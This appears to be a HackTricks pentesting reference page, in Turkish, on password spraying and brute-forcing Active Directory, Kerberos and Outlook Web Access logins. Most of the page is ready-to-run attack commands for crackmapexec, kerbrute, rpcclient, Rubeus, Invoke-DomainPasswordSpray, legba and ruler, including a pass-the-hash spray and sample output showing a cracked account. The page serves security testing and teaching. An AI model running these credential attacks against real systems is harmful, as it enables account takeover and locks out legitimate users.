Password Spraying / Brute Force

Support HackTricks

Şifre Spraying

Birçok geçerli kullanıcı adı bulduktan sonra, her bir keşfedilen kullanıcı ile en yaygın şifreleri deneyebilirsiniz (ortamın şifre politikalarını göz önünde bulundurun). Varsayılan olarak minimum şifre uzunluğu 7'dir.

Yaygın kullanıcı adları listeleri de faydalı olabilir: https://github.com/insidetrust/statistically-likely-usernames

Birden fazla yanlış şifre denerseniz bazı hesapların kilitlenebileceğini unutmayın (varsayılan olarak 10'dan fazla).

Şifre politikasını öğrenin

Bazı kullanıcı kimlik bilgilerine veya bir alan kullanıcısı olarak bir shell'e sahipseniz, şifre politikasını şu şekilde alabilirsiniz:

# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol

enum4linux -u 'username' -p 'password' -P <IP>

rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo

ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# From Windows
net accounts

(Get-DomainPolicy)."SystemAccess" #From powerview

Linux'tan Sömürü (veya hepsi)

  • crackmapexec kullanarak:

crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
  • spray (kilitlenmeleri önlemek için deneme sayısını belirtebilirsiniz):

spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
  • kerbrute (python) kullanarak - TAVSİYE EDİLMİYOR, BAZEN ÇALIŞMAYABİLİR

python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
  • Metasploit'in scanner/smb/smb_login modülü ile:

  • rpcclient kullanarak:

# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done

Windows'tan

  • Rubeus brute modülü ile versiyonu:

# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
  • Invoke-DomainPasswordSpray ile (Varsayılan olarak alan kullanıcılarını oluşturabilir ve alanın şifre politikasını alarak denemeleri buna göre sınırlayabilir):

Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
Invoke-SprayEmptyPassword

Brute Force

legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org

Outlook Web Access

Password spraying outlook için birden fazla araç vardır.

Bu araçlardan herhangi birini kullanmak için bir kullanıcı listesine ve bir şifreye / bir dizi şifreye ihtiyacınız var.

./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020

Google

Okta

Referanslar

HackTricks'i Destekleyin

Last updated